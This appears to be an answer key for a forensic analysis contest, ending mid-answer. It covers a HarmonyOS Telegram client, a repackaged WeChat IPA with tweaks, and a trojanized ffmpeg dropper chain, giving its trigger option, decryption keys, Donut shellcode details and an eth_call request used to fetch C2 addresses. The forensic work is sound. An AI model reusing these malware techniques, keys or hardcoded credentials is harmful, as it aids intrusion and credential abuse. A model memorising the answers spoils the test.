POINT 7完成时间：约 30 分钟（累计）

（二）提示：分析办案人员提取的“gramony-next-beta.hap”回答下列问题：

题号 · 题型 · 答案 · 完成时间（累计，分钟）

题号6.121

题型填空

答案891854

完成时间（累计，分钟）约 20

题号6.122

题型填空

答案5202fbfa4b65077b79a98849bb3b7c96

完成时间（累计，分钟）约 20

题号6.123

题型单选

答案\\A\\（未加密，明文 SQLite）

完成时间（累计，分钟）约 22

题号6.124

题型单选

答案\\A\\（db.sqlite）

完成时间（累计，分钟）约 22

题号6.125

题型填空

答案libtdnapi.so-1.8.62

完成时间（累计，分钟）约 24

题号6.126

题型填空

答案3.3.2

完成时间（累计，分钟）约 24

题号6.127

题型单选

答案\\A\\（allowToBackupRestore=true）

完成时间（累计，分钟）约 25

题号6.128

题型填空

答案13473/Gramony

完成时间（累计，分钟）约 29

题号6.129

题型多选

答案\\A、B\\（databaseDir/tdlib、filesDir/tdlib）

完成时间（累计，分钟）约 31

题号6.130

题型单选

答案\\A\\（0，禁用端到端加密会话）

完成时间（累计，分钟）约 22

题号6.131

题型填空

答案333

完成时间（累计，分钟）约 32

题号6.132

题型填空

答案3

完成时间（累计，分钟）约 25

题号6.133

题型多选

答案\\A、B、D\\

完成时间（累计，分钟）约 36

题号6.134

题型单选

答案\\A\\（未内置自定义后端域名）

完成时间（累计，分钟）约 38

题号6.135

题型单选

答案\\A\\（RSA PUBLIC KEY）

完成时间（累计，分钟）约 24

POINT 1全流程完成时间：约 40 分钟（17:46 — 18:26；含检材定位、产品链路可用性验证、解包、字节码解析器搭建与反汇编、原生库分析、成文）。

逐题答题与解析

6.121　硬编码的 Telegram 应用 ID（api\_id）　→ 891854　〔完成时间：约 20 分钟〕【事实】

POINT 1解析：应用把 Telegram 接入凭据放在独立模块 entry/src/main/ets/secret.ts（字节码中类名为 L&entry/src/main/ets/secret&;）。该类的方法 func\_main\_0（模块初始化函数，方法记录偏移 433,899，代码体 20 字节）反汇编结果为：

CODE

mov v0, v4 / mov v1, v5 / mov v2, v6 ; 拷贝参数

ldai 891854 ; ← 立即数常量

stmodulevar 1 ; 存入模块变量 #1

lda.str <32位十六进制字符串> ; 见 6.122

stmodulevar 0 ; 存入模块变量 #0

ldundefined / returnundefined

该 20 字节代码体的解码自洽（指令长度累计恰好 20 字节，无未知指令）。

POINT 1该数值的去向可完整跟踪：AuthService 的配置对象字段 appId/appHash，在 sendSetTdlibParameters 反汇编中被逐个映射为 TDLib 请求模板里的 api\_id / api\_hash：

CODE

ldobjbyname 'appId' → definepropertybyname 'api\_id' v5

ldobjbyname 'appHash'→ definepropertybyname 'api\_hash' v5

即 api\_id ← appId、api\_hash ← appHash。【事实】

POINT 1结论强度：已确认。全包内与该 api\_hash 常量同处一个模块初始化函数、且类型为整型立即数的常量只有 891854，其语义（Telegram 服务端接入 ID）由上述映射关系直接确定。

POINT 2注：AuthService 构造函数里 appId 初值为 0（ldai 0），真实值由 secret 模块的运行期赋值覆盖；早期静态看到 0 属默认占位，不是答案。

6.122　与 apiid 配对的硬编码 apihash　→ 5202fbfa4b65077b79a98849bb3b7c96　〔约 20 分钟〕【事实】

POINT 1解析：同一 func\_main\_0 用 lda.str 加载的字符串常量。该字符串项位于 ets/modules.abc 偏移 1,485,272（ULEB128 前缀 0x41 → 32 个 ASCII 字符），内容即上述 32 位十六进制串；该字符串在索引表中的 id 为 21,366。

POINT 2全包检索：ets/modules.abc 中仅有这一个 32 位十六进制字符串（正则 [0-9a-fA-F]{32} 命中 1 处）；libtdnapi.so 内的同类串均为 TDLib/OpenSSL 内部常量（测试向量 0123456789ABCDEF… 等），与 api\_hash 无关。

POINT 3结论强度：已确认（32 位小写十六进制，符合题目格式要求）。

6.123　TDLib 主数据库 db.sqlite 的加密状态　→ A. 未加密，以明文 SQLite 存储　〔约 22 分钟〕【事实+分析推断】

POINT 1解析：sendSetTdlibParameters 引用的字面量数组（偏移 2,026,882）就是发给 TDLib 的 setTdlibParameters 请求模板，逐项为：

CODE

\"setTdlibParameters\", \"use\_test\_dc\"=false, \"database\_directory\"=<运行期注入>,

\"files\_directory\"=<运行期注入>, \"database\_encryption\_key\"=\"\", \"use\_file\_database\"=true,

\"use\_chat\_info\_database\"=true, \"use\_message\_database\"=true, \"use\_secret\_chats\"=false,

\"api\_id\"=<注入>, \"api\_hash\"=<注入>, \"system\_language\_code\"=<注入>,

\"device\_model\"=\"HarmonyOS Debug\", \"system\_version\"=\"OpenHarmony\", \"application\_version\"=\"0.1.0-debug\"

其中 database\_encryption\_key 被硬编码为空字符串，即应用从未向 TDLib 传入数据库口令。

POINT 1TDLib 仅在提供数据库口令时才启用整库加密（SQLCipher 路径，需口令参与密钥派生）；口令为空则落盘为普通 SQLite 文件（文件头 \"SQLite format 3\0\"，可直接用 SQLite 工具打开）。因此 B（AES-256-CBC）、C（Base64 编码）、D（SQLCipher 全库加密）均不成立。

POINT 2结论强度：高度可信（依据为检材内硬编码的空口令；未在真机侧落盘数据库上做打开验证，如案件中有设备镜像可进一步实盘印证）。

6.124　/tdlib 下 TDLib 的主数据库文件　→ A. db.sqlite　〔约 22 分钟〕【事实】

POINT 1解析：两个方向同时印证：

POINT 2目录：应用把 TDLib 数据库目录设为 <沙箱 databaseDir>/tdlib——AppShell#clearTdLibDatabase 中由 context.databaseDir + '/tdlib' 与 context.filesDir + '/tdlib' 两条路径拼接（见 6.129）。

POINT 3文件名：TDLib 的主库文件名由 td/telegram/TdDb.cpp 的 get\_sqlite\_path() 生成： db\_name = \"db\" + (is\_test\_dc ? \"\_test\" : \"\")，返回 database\_directory + db\_name + \".sqlite\"，即生产环境为 db.sqlite（本应用 use\_test\_dc=false）。因此完整路径为 /tdlib/db.sqlite。

POINT 4B（messages.db）、C（tg\_cache.dat）、D（cache.bin）在 TDLib 中均不存在。

POINT 5结论强度：已确认。

6.125　承载 MTProto 的原生库文件名与其内置 TDLib 版本　→ libtdnapi.so-1.8.62　〔约 24 分钟〕【事实】

POINT 1解析：HAP 内唯一原生库为 libs/arm64-v8a/libtdnapi.so（27,856,176 字节）；pkgContextInfo.json 亦把它登记为 isSO:true 的依赖。该库内含 522 条 D:/libraries/td/td/... 源码路径字符串与 MTProto 相关符号（td/mtproto/Handshake.cpp、DhHandshake.cpp、 AuthData.cpp、ConnectionManager.cpp 等），可确认它是静态链接了 TDLib 的 MTProto 实现。【事实】

POINT 2版本号：库内字符串 1.8.62（偏移 2,921,265）独立成串，且紧邻 TDLib 的选项默认值表（story\_album\_story\_count\_max、about\_length\_limit\_default 等），正是 TDLib 注册其版本号（version 选项默认值）的位置。

POINT 3结论强度：已确认（文件名取自包内实际条目名，版本号取自库内唯一独立版本串）。

6.126　原生库静态链接的 OpenSSL 版本　→ 3.3.2　〔约 24 分钟〕【事实】

POINT 1解析：libtdnapi.so 内含完整 OpenSSL 3.x 字符串集（OpenSSL 3.3.2 3 Sep 2024、AES-128-GCM、 2.16.840.1.101.3.4.1.\ 等 OID 名），其中版本串为 OpenSSL 3.3.2 3 Sep 2024 → 版本号 3.3.2*。

POINT 2结论强度：已确认。

6.127　数据备份策略　→ A. allowToBackupRestore=true，应用数据可被系统备份/迁移　〔约 25 分钟〕【事实】

POINT 1解析：resources/base/profile/backup\_config.json 全文为 {\"allowToBackupRestore\":true}； module.json 中同时声明了 type: \"backup\" 的扩展能力 EntryBackupAbility（srcEntry: ./ets/entrybackupability/EntryBackupAbility.ets，元数据指向 $profile:backup\_config）。即应用启用了系统的备份/恢复能力，其数据（含数据库目录）可被系统备份与迁移。

POINT 2结论强度：已确认（B、C、D 与配置文件内容直接矛盾）。

6.128　GramonyLog 写入 hilog 的 domain 与 tag　→ 13473/Gramony　〔约 29 分钟〕【事实】

POINT 1解析：日志封装模块类 L&entry/src/main/ets/GramonyLog&;。其模块初始化函数 func\_main\_0（代码体 85 字节）反汇编后：

CODE

... definefunc ×6 ; stmodulevar 0..5 ; 导出 6 个日志方法

sta v3 ; lda v3 ; stlexvar #0,#2 ; 词法变量 #2 = write 方法

ldai 13473 ; sta v4 ; lda v4 ; stlexvar #0,#0 ; 词法变量 #0 = DOMAIN = 13473

lda.str 'Gramony' ; sta v4 ; lda v4 ; stlexvar #0,#1 ; 词法变量 #1 = TAG = 'Gramony'

ldundefined ; returnundefined

同一模块的变量名表（字面量数组 @1,791,785）为 [DOMAIN→0, TAG→1, write→2]，与上述赋值一一对应；字符串池中该模块的常量顺序为 'DOMAIN'、'Gramony'、'JSON'、'TAG'、'[GRAMONY/'、'[unserializable]'、'] '、'debug'、'error'、'hilog'，进一步印证 DOMAIN/TAG、日志前缀 '[GRAMONY/'、以及经 @ohos.hilog 输出的实现。

POINT 1即：domain = 13473（十进制；0x34A1），tag = \"Gramony\" （首字母大写）。

POINT 2结论强度：已确认。

6.129　clearTdLibDatabase() 递归删除哪些 TDLib 数据目录　→ A、B　〔约 31 分钟〕【事实】

POINT 1解析：方法 #~@0>#clearTdLibDatabase（所属类 L&entry/src/main/ets/pages/AppShell&;，代码体 199 字节）反汇编显示：

CODE

ldobjbyname 'context' ; ldobjbyname 'databaseDir' ; add2 '' ; add2 '/tdlib' → v3 ; 目录①

ldobjbyname 'context' ; ldobjbyname 'filesDir' ; add2 '' ; add2 '/tdlib' → v4 ; 目录②

（日志）'Clearing TDLib data: dbDir=' + v3 + ', filesDir=' + v4 → logInfo

ldobjbyname 'removeDirRecursive' ; callthis1 v3 ; 递归删除目录①

ldobjbyname 'removeDirRecursive' ; callthis1 v4 ; 递归删除目录②

整个方法只拼接了 databaseDir/tdlib 与 filesDir/tdlib 两条路径并各调用一次递归删除， 未出现 cacheDir 或 tempDir（相关字符串在包内存在，但不在本方法中构成删除参数）。

POINT 1结论强度：已确认（方法级反汇编；另由日志串 'Clearing TDLib data: dbDir='、', filesDir=' 独立印证）。

6.130　setTdlibParameters 中 use\_secret\_chats 的取值　→ A. 0，禁用端到端加密会话　〔约 22 分钟〕【事实】

POINT 1解析：setTdlibParameters 字面量数组（偏移 2,026,882）中该项编码为 STR('use\_secret\_chats') + BOOL=0，即 use\_secret\_chats = false（TDLib 以 0/1 表示布尔），语义为禁用端到端加密的私密会话（secret chats）。

POINT 2选项 B（1，启用）、C（2）、D（-1，跟随服务器）与模板中的常量编码不符。

POINT 3结论强度：已确认。

6.131　ets/sourceMaps.map 中记录的原始源文件（sources）数量　→ 333　〔约 32 分钟〕【事实】

POINT 1解析：ets/sourceMaps.map 是\"源映射键 → 映射对象\"的 JSON 对象，共 333 个顶层条目（键形如 entry|entry|1.0.0|src/main/ets/pages/AppShell.ts），每个映射对象的 sources 数组恰好 1 项，合计 333 项且去重后仍为 333（即 333 个原始源文件，含应用自身 entry/src/main/ets/... 与第三方 @ohos/lottie、@ohos/hypium 等）。

POINT 2结论强度：已确认。

6.132　应用请求的权限项数　→ 3　〔约 25 分钟〕【事实】

POINT 1解析：module.json 的 module.requestPermissions 共 3 项： ohos.permission.INTERNET、ohos.permission.MICROPHONE（reason $string:permission\_microphone\_reason，usedScene inuse）、 ohos.permission.CAMERA（reason $string:permission\_camera\_reason，usedScene inuse）。

POINT 2结论强度：已确认。

6.133　原生库内置的 Telegram 生产环境数据中心 IP　→ A、B、D　〔约 36 分钟〕【事实】

POINT 1解析：libtdnapi.so 内含以下 IPv4 字符串（按出现顺序）：149.154.167.40 / .51 / .91、149.154.171.5、 149.154.175.10 / .50 / .100 / .117、95.161.76.100。这些是 Telegram 生产环境 DC 的地址段（149.154.160.0/20 等）。

POINT 2逐项比对：A 149.154.167.51 ✔ 命中；B 149.154.175.100 ✔ 命中；C 95.136.25.69 ✘ 未出现；D 95.161.76.100 ✔ 命中。

POINT 3结论强度：已确认（原库字符串检索；另一路佐证：TDLib 官方在生产 DC 列表中即使用上述地址）。

6.134　应用内置服务器端点的性质　→ A. 除 t.me 等 Telegram 官方链接外，未内置任何自定义后端域名　〔约 38 分钟〕【事实+推断】

POINT 1解析（两层证据）：

POINT 2应用自身代码（ets/modules.abc）中含 :// 的全部字符串为：http://t.me/、https://t.me/、 https://t.me/addstickers/、https://t.me/addtheme/、https://t.me/c/、http://t.me/addtheme/、 https://github.com/your-repo/GramonyNext（占位仓库链接）以及 W3C 命名空间（www.w3.org/2000/svg 等）；域名清单仅 t.me、github.com、www.w3.org 与包名 next.gramony.tel。没有任何自定义后端域名、C2 域名或代理地址；全包亦未出现 socks5://、mtproxy、http(s):// 形式的自建代理配置。

POINT 3原生库中的端点字符串（tgb.smart-glocal.com/cds/v1/tokenize/card、reserve-5a846.firebaseio.com/ipconfigv3.json、 firebaseremoteconfig.googleapis.com/v1/projects/peak-vista-421/...、apv3.stel.com/tapv3.stel.com、 graph.org、my.telegram.org、telegram.me、tcdnb.azureedge.net 及 Google/YouTube/Instagram 等站点链接）经与 TDLib 上游源码逐条比对，全部是 TDLib 自身的常量（如 td/telegram/Payments.cpp 中的卡片令牌化端点、 td/telegram/ConfigManager.cpp 中的 Firebase 配置与 ipconfig 地址、RSA 公钥 PEM），不是本次应用新引入的后端。

POINT 4结论强度：高（应用侧为全量字符串枚举，原生库侧为与上游源码的定向比对）。未发现任何指向攻击者 C2、第三方广告/统计或自建代理的证据，故 B、C、D 不成立。

6.135　libtdnapi.so 中服务器公钥的 PEM 头类型　→ A. RSA PUBLIC KEY　〔约 24 分钟〕【事实】

POINT 1解析：libtdnapi.so 内含 PEM 头字符串 -----BEGIN RSA PUBLIC KEY-----（MTProto 握手所用的服务器 RSA 公钥； TDLib 上游 td/telegram/ConfigManager.cpp 中亦为同一 PEM 类型，且该公钥以 base64 文本形式内嵌）。库内未见 BEGIN EC PUBLIC KEY、BEGIN CERTIFICATE、BEGIN OPENSSH PUBLIC KEY。

POINT 2结论强度：已确认。

（三）提示：分析办案人员提取的“WX\_8.0.76大礼包秋名山.ipa”回答下列问题：

题号 · 答案 · 完成时刻（本机时间） · 用时（累计，分钟） · 该题增量（分钟）

题号6.136

答案2026-08-05 20:34:15

完成时刻（本机时间）18:15:47

用时（累计，分钟）约 2

该题增量（分钟）约 2

题号6.137

答案17afde114c15506d9d477c95ebd4eac1

完成时刻（本机时间）18:17:40

用时（累计，分钟）约 4

该题增量（分钟）约 2

题号6.138

答案source.abox.plus

完成时刻（本机时间）18:30

用时（累计，分钟）约 16

该题增量（分钟）约 11

题号6.139

答案https://t.me/+WbYVzsBA8WozYWJl

完成时刻（本机时间）18:18:30

用时（累计，分钟）约 5

该题增量（分钟）约 1

题号6.140

答案https://apt.pkc.qzz.io

完成时刻（本机时间）18:18:40

用时（累计，分钟）约 5

该题增量（分钟）约 1

逐题解析与答案

6.136 检材的官方构建完成时间

POINT 1答案： 2026-08-05 20:34:15

POINT 2解析：主 Info.plist 保留了微信官方构建机写入的一组键值，其中构建时间键为 build\\_time = \"2026-08-05 20:34:15\" ，同组还有 by = wx\_ios\_code\_helper（官方 iOS 打包助手）、 path = release@appstore@ios\_2026-t7-8-0-76\_2026\_8\_3\_17\_14\_30、rev = 263b2d29…、tag = release\_appstore\_8.0.76 #39、 ver = 0x18004c24、uuid = e2266b3eb0b1322eaba9b7b65a33b9d3，属于官方原版构建信息。二次打包方仅追加了 \"IPAPatch Tool\": \"from injectipa tool\"，未改写该构建时间键。【事实】

POINT 3完成时间：累计约 2 分钟（18:15:47）

6.137 第三方插件硬编码的高德地图 Web API key

POINT 1答案： 17afde114c15506d9d477c95ebd4eac1（32 位小写十六进制）

POINT 2解析：在插件 PKCWeChatTools.dylib 的明文常量中命中完整调用串： https://restapi.amap.com/v3/weather/weatherInfo?key=17afde114c15506d9d477c95ebd4eac1&city=%，即该插件用调用 key 请求高德天气接口。全检材仅此一处高德 Web API key。【事实】

POINT 3完成时间：累计约 4 分钟（18:17:40）

6.138 第三方插件授权校验服务器的域名

POINT 1答案： source.abox.plus

POINT 2解析：插件 FuckWeChatAdBlocker.dylib（内部安装名 @rpath/WeChatAdBlocker.dylib，自称 WeChatAdBlocker／ \"wechat no ads\"，版本 v1.1.8-5）中硬编码了唯一一条带签名与设备信息的授权校验请求：

CODE

https://source.abox.plus/jb/auth?sign=%@&udid=%@&deviceName=%@&deviceModel=%@&systemName=%@&systemVersion=%@&appName=%@&appVersion=%@&tweakVersion=%@&tweakName=%@

该请求以 sign 签名 + UDID／机型／系统／插件名与版本作为校验参数，代码中对其响应分支处理了 Unauthorized（未授权）提示，并伴随 HasInstallJailbreakPlugin、HasInstallJailbreakPluginInvalidIAPPurchase、 isBeingDebugged、reportFileConsistency 等校验/上报符号，符合\"向远程服务器发起授权校验请求\"的行为特征。请求 URL 的主机名即 source.abox.plus（其注册域为 abox.plus）。【分析推断，依据为插件内硬编码请求串与响应处理逻辑】

POINT 1排除范围（本次已核对）：其余 12 个插件中，WCEhance（videoparser.040207.xyz、t.me/Lx\_hub）、 WCPulse（api.openai.com、dashscope.aliyuncs.com、本机 localhost:3001、局域网 192.168.31.224:8188/webhook）等虽含网络串，但均为业务接口或本地接口，无授权校验语义；PKCWeChatTools 的授权为\"赞助 1 元后由作者授权\"并在关于页给出软件源与 TG 频道，未发现对应的校验请求串；MikotoHelper（含 checkAuthorization、getAuthorizationWithUserId 一类方法）与 HBWechatHelper（含 isVIPMode／openVip）的字符串已加密／混淆，本次未能从中检出服务器地址。

POINT 2完成时间：累计约 16 分钟（18:30，含跨插件交叉排除）

6.139 用于邀请加入私有群组的 Telegram 链接

POINT 1答案： https://t.me/+WbYVzsBA8WozYWJl

POINT 2解析：插件 PKCWeChatTools.dylib 的\"关于\"页内置两条 Telegram 链接：

CODE

TG交流频道: https://t.me/TopStyle2021

TG内测发布频道: https://t.me/+WbYVzsBA8WozYWJl

其中带 + 的 https://t.me/+WbYVzsBA8WozYWJl 是 Telegram 的 joinchat 邀请链接，用于邀请用户加入私有群组／私有频道（另一条 t.me/TopStyle2021 为公开频道）。全检材仅该插件同时内置群组与频道链接。【事实】

POINT 1完成时间：累计约 5 分钟（18:18:30）

6.140 引导用户获取或安装该插件的软件源地址

POINT 1答案： https://apt.pkc.qzz.io

POINT 2解析：插件 PKCWeChatTools.dylib（作者署名 Curtin，构建时间字段构建时间: %@）的\"关于\"页内置软件源声明：

CODE

软件源1: https://apt.pkc.qzz.io

软件源2: https://apt.curtin.dpdns.org

apt. 前缀域名为 Cydia／Sileo 类越狱插件源地址，用于获取与安装该插件；其中 软件源1 为主源，在插件代码中另有以片段拼接方式出现的同一主机（ht + tps://apt.pk + c.qzz.io/ioscydia?value= → https://apt.pkc.qzz.io/ioscydia?value=），即主源在插件内被引用两处；软件源2 仅在该\"关于\"页出现一次。【事实】（如阅卷以软件源2 为准，同一处声明的对应值为 https://apt.curtin.dpdns.org。）

POINT 1完成时间：累计约 5 分钟（18:18:40）

（四）提示：分析办案人员提取的“ffmpeg.zip”和“文件采集.zip”回答下列问题：

题号 · 完成时间 · 说明

题号6.141

完成时间12

说明定位 ffmpeg 注入桩及其触发点（选项表劫持）

题号6.142

完成时间14

说明还原 dropper 落盘逻辑 + NSIS 包内容

题号6.143

完成时间8

说明解析 AutoIt 阶段元数据与模块字符串池

题号6.144

完成时间16

说明逐层解密（AutoIt AES→Donut）并复现 Chaskey-CTR

题号6.145

完成时间6

说明取实例 sig 并用 maru 哈希自校验

题号6.146

完成时间18

说明复现 maru/speck 并逐条核对 63 条 API 哈希

题号6.147

完成时间20

说明字符串池全量解密，判定回连地址

题号6.148

完成时间4

说明抓取 Host 头明文字符串

题号6.149

完成时间6

说明解出 eth\_call 请求与合约地址，判定加密货币

题号6.150

完成时间38

说明逆向采集回调语义 + 12 任务复算 + 三阶段 Flag

题号\\合计\\

完成时间\\142\\

说明即全流程完成时间

6.141（填空题　1 分）

程序执行恶意行为的启动参数是什么？（答案格式：-abc）

题目解析

1ffmpeg.exe 主体是未加壳的正版 ffmpeg（gyan.dev \"full\" 构建，configuration 串可查），仅在文末 .text 尾部与 0x14002c870 一带被注入了自定义代码，并追加了 884,574 字节的 RC4 加密封包（overlay，偏移 0x4EF6400，熵 7.9998）。

2注入代码的关键函数：

30x14002c870：恶意主流程——GetModuleFileNameA 取自身路径 → CreateFileA(自身, GENERIC\_READ, OPEN\_EXISTING) → GetFileSizeEx → SetFilePointer(-(size+12), FILE\_END) → 读末尾 12 字节 footer（u32 size+u64 size）→ VirtualAlloc → ReadFile 读 884,574 字节 → 调用 0x143ff2e40（RC4，密钥 16 字节位于 0x143ff2fc8：d485c7d9650e81b03a906b0df60cb263）→ 把明文写成 <自身路径>out.exe（0x14002c9a4 处追加 8 字节串 \"out.exe\0\0\"）→ 以 CreateProcess/ShellExecute 运行。

40x14002c530 / 0x14002ca40 / 0x14002ce80 等其余函数指针则是 ffmpeg 原有实现。

5触发点：在 .rdata 0x4129d00 起的 ffmpeg 自身“命令行选项表”中，每项结构为 {flags, 选项名字符串, 0x800, 处理函数, 帮助文本}。其中

6demuxers → 0x14002ce80、devices → 0x14002ce90、codecs → 0x14002c530、encoders → 0x14002ca40、bsfs → 0x14002cc10、protocols → 0x14002d090（均为 ffmpeg 原有函数）；

7decoders （选项名字符串 0x4128a47 = \"decoders\"）→ 函数指针被改成了 0x14002c870 （恶意主流程） 。

8因此：只要以 ffmpeg.exe -decoders 方式运行，ffmpeg 解析该选项时即调用被劫持的处理函数，执行释放+解密+运行载荷的恶意行为；不带该参数运行时 ffmpeg 功能正常（这也是该样本长期隐蔽的原因）。

题目答案

-decoders

完成时间

12 分钟

6.142（填空题　1 分）

程序启动后释放了哪些文件？（答案格式：file1.exe、file2.cfg、file3.dat）

题目解析

沿载荷链自外向内逐层还原落盘文件：

1第一层（ffmpeg.exe 自身）：注入代码把 RC4 解密后的 884,574 字节 NSIS 安装包写出到磁盘，文件名 = 自身完整路径后直接追加 out.exe（0x14002c99d 载入立即数 0x006578652e74756f = \"out.exe\0\"，0x14002c9a7 mov [rcx], rax，rcx = 缓冲区 + GetModuleFileNameA 返回长度）。给定检材名为 ffmpeg.exe，故落盘文件名为 ffmpeg.exeout.exe（位于同目录）。随后立即执行它。

2第二层（out.exe = NSIS 3.08-2 安装包）：7z x -tNsis 可见包内仅两个成员，NSIS 脚本将它们释放到临时目录并执行 AutoIt3：

3AutoIt3.exe（1,071,704 字节，正版、带 GlobalSign 代码签名）

4Setup\_972c8d.au3（365,489 字节）

5第三层（AutoIt 脚本）：只做 base64 解码 + AES 解密 + VirtualAlloc/CreateThread，不落盘任何文件（因此不再产生新文件）。

6综上，“程序启动后释放的文件”共三个，即第一层的载荷文件与第二层的两个成员。

题目答案

ffmpeg.exeout.exe、AutoIt3.exe、Setup\\_972c8d.au3

（其中第一个文件名的固定规律是 <载体自身文件名>out.exe；若按“相对文件名”记录则为 out.exe。）

完成时间

14 分钟

6.143（填空题　1 分）

程序模拟的客户端名称是什么？（答案格式：以实际为准，如TuoJie）

题目解析

1该样本的伪装外衣在 AutoIt 脚本中体现得最直接：脚本首行注释为 ; Setup 49ed864b — Notion Desktop，且 AutoIt 编译资源元数据为

2#AutoIt3Wrapper\_Res\_Comment=Notion Desktop

3#AutoIt3Wrapper\_Res\_Description=Notion Desktop Setup Assistant

4#AutoIt3Wrapper\_Res\_ProductName=Notion Desktop 即整个“安装包”把自己伪装成 Notion Desktop 的安装程序（NSIS 安装包 + AutoIt“安装助手”），这是它“模拟的客户端（应用）名称”。

5题序也支持这一判断：6.142 问的是 NSIS/AutoIt 这一层释放的文件，6.143 紧接着问“程序模拟的客户端名称”，正对应这条载荷链上伪装成 Notion 桌面客户端安装包的行为；其后 6.144 才进入 shellcode，属下一层。

6旁证（不影响本题取答）：内存载荷模块的字符串池中另有全大写标识串 REMUS（与反分析字符串 CANCEL THE RUN TO PREVENT MALWARE FROM EXECUTING、[email protected] 同簇），形态与题目示例（如 TuoJie）一致，可视为该家族的客户端标识。

题目答案

Notion Desktop

完成时间

8 分钟

6.144（填空题　1 分）

程序启动后，在内存中加载了一个shellcode，分析shellcode中的解密算法和密钥分别是什么？（答案格式：以实际为准，如Cha20-CBC、76BD645E0FAC96EE063C9CEF229F0C55）

题目解析

1Setup\_972c8d.au3 全脚本仅 257 行，其中 177 行是把 base64 片段拼进 $cOxB5ebND；其余为三个函数：

2Fg0AAee16()：crypt32.CryptStringToBinaryA(..., CRYPT\_STRING\_BASE64) → base64 解码；

3FTCcjpF()：advapi32.CryptAcquireContextW → 构造 PLAINTEXTKEYBLOB 08 02 00 00 01 68 00 00（CALGAES128）+ 16 字节密钥 → CryptImportKey → CryptDecrypt(Final=1)；

4FkxFi5uO()：解密结果 VirtualAlloc(…,0x3000,0x40) + CreateThread —— 这就是“在内存中加载的 shellcode” （268,779 字节）。

5复现该解密（用 Windows CryptoAPI 原样调用，密钥 0x5b23ae9f419e19e8100d4fffcb4001e1），得到 shellcode：E8 C0 B7 03 00（call）开头，其后是 Donut 生成的“实例 + 加载器”结构 —— 实例自偏移 5 起、长度 243,648（= 实例首字段 len）。

6shellcode 自身的解密（Donut 加载器的第一步）为：

7位置：实例尾部 [offsetof(api\_cnt)=0x23C, inst->len)

8算法：Chaskey（128 位分组、16 轮、Odzhan 实现）CTR 模式（donut\_encrypt/chaskey.c 的计数器大端自增）

9密钥：来自实例首部的 key.mk（16 字节）= 9fc944b4def8c379613dfa856b717370，计数器初值 key.ctr = b3e2919d7c9e1fcea2a0f61a2840868c

10自校验：解密后实例字段自洽（len=243648、entropy=3、exit\_opt=3、api\_cnt=63、dll\_names=\"ole32;oleaut32;wininet;mscoree;shell32\"），并解出模块（237,568 字节 x64 PE，见 6.146）。

题目答案

Chaskey-CTR、9fc944b4def8c379613dfa856b717370

（外壳另有一层：AutoIt 用 AES-128（CryptoAPI 默认 CFB，密钥 5b23ae9f419e19e8100d4fffcb4001e1）解密并加载该 shellcode，用于对照。）

完成时间

16 分钟

6.145（填空题　1 分）

分析用于校验解密结果的字符串是什么？（答案格式：1HJK2K3M）

题目解析

1Donut 实例在生成时会随机产生一个 8 字节校验串 sig，并置 mac = maru(sig, iv)（maru = Odzhan 的 SPECK-64/128 哈希；iv = 实例的 64 位初值）。加载器解密实例后重算 maru(sig, iv) 并与实例中的 mac 比对，不一致即判定解密失败并中止——这正是本题所指的“用于校验解密结果的字符串”。

2在解密后的实例中读取：

3实例 iv = 0x03749a2fde525ae8（偏移 40）

4校验串（偏移 3116）= 7FXPCMX4（8 字符，与题目示例格式一致）

5实例内记录的 mac（偏移 3376）= 0x24d6b578670011c4

6自校验：本机用 Python 复现 speck（27 轮）+ maru（16 字节分组 Merkle–Damgård + 0x80/长度填充），计算 maru(\"7FXPCMX4\", 0x03749a2fde525ae8) = 0x24d6b578670011c4，与实例 mac 完全一致，故答案可靠。

题目答案

7FXPCMX4

完成时间

6 分钟

6.146（填空题　1 分）

分析程序运行过程中，动态加载多少个函数？第27个函数名是什么？（答案格式：33、kernel32.WriteFile）

题目解析

1这里的“动态加载”= Donut 加载器按哈希从 PEB 导出表解析 API 的过程。实例首部保存一张 API 哈希表（api.hash[64]），api\_cnt 给出条数；加载器逐个解析并把地址填回 api.addr[]（0x14001808c/0x1400180aa/0x1400180e1 处的 call [rax+0x28]/[rax+0x98]/[rax+0x18] 即按解析结果调用）。

2实例字段（解密后读取）：api\_cnt = 63 ⇒ 动态加载 63 个函数。

3哈希填充顺序 = Donut 源码中 api\_imports[] 表的顺序（该表与其注释“必须与 DONUTINSTANCE 结构顺序一致”对应），哈希公式为 api.hash[i] = maru(api*imports[i].name, iv) ^ maru(api\\_imports[i].module, iv)。用本机复现的 maru/SPECK 按该公式逐条计算，与本实例 api.hash[] 63 条全部逐条吻合（第 64 条起实例中为 0，不再填充），据此可命名每条： 1 kernel32.LoadLibraryA、2 GetProcAddress、3 GetModuleHandleA、4 VirtualAlloc、5 VirtualFree、6 VirtualQuery、7 VirtualProtect、8 Sleep、9 MultiByteToWideChar、10 GetUserDefaultLCID、11 WaitForSingleObject、12 CreateThread、13 CreateFileA、14 GetFileSizeEx、15 GetThreadContext、16 GetCurrentThread、17 GetCurrentProcess、18 GetCommandLineA、19 GetCommandLineW、20 HeapAlloc、21 HeapReAlloc、22 GetProcessHeap、23 HeapFree、24 GetLastError、25 CloseHandle、26 shell32.CommandLineToArgvW、27 oleaut32.SafeArrayCreate*、28 SafeArrayCreateVector … 63 ntdll.NtUnmapViewOfSection。

4故第 27 个（1 起数）为 oleaut32.SafeArrayCreate（若按 0 起始数组下标 27 计，则为 oleaut32.SafeArrayCreateVector；题面“第27个”按自然序取 1 起）。

题目答案

63、oleaut32.SafeArrayCreate

完成时间

18 分钟

6.147（填空题　1 分）

分析程序，恶意程序回连C2地址有哪些？（答案格式：http://trens.shop:7890/fetch、http://getip.chck:4321/publish、http://lans.sh:5678/token）

题目解析

1内存载荷模块（237,568 字节 x64 PE）的字符串全部为混淆存储（.rdata 池 + 逐字节/逐字 XOR，密钥形如 (K\(i+1))&0xFF 或 (K\(i+1))&0xFFFF）。本机实现两套解码器全量还原后，模块内唯一硬编码的 http(s) 地址为：

2https://ethereum-rpc.publicn0de.com —— 这是恶意程序主动发起网络请求的目标：模块用 WinHTTP（winhttp.dll，见 6.144 模块中解出的字符串）向其发送 JSON-RPC 请求 {\"jsonrpc\":\"2.0\",\"id\":1,\"method\":\"eth\_call\",\"params\":[{\"to\":\"0x999941b74F6bbc921D5174A5b29911562cd2D7CF\",\"data\":\"0xc2fb26a6\"},\"latest\"]} 即通过 公链智能合约取回真正的 C2 地址（这与 6.149“备用 C2 获取机制”完全对应）。

3与 C2 通信相关的其余证据（均为明文/已解密字符串）：

4Host: github.com —— 回连请求使用的 Host 头（伪装；见 6.148）

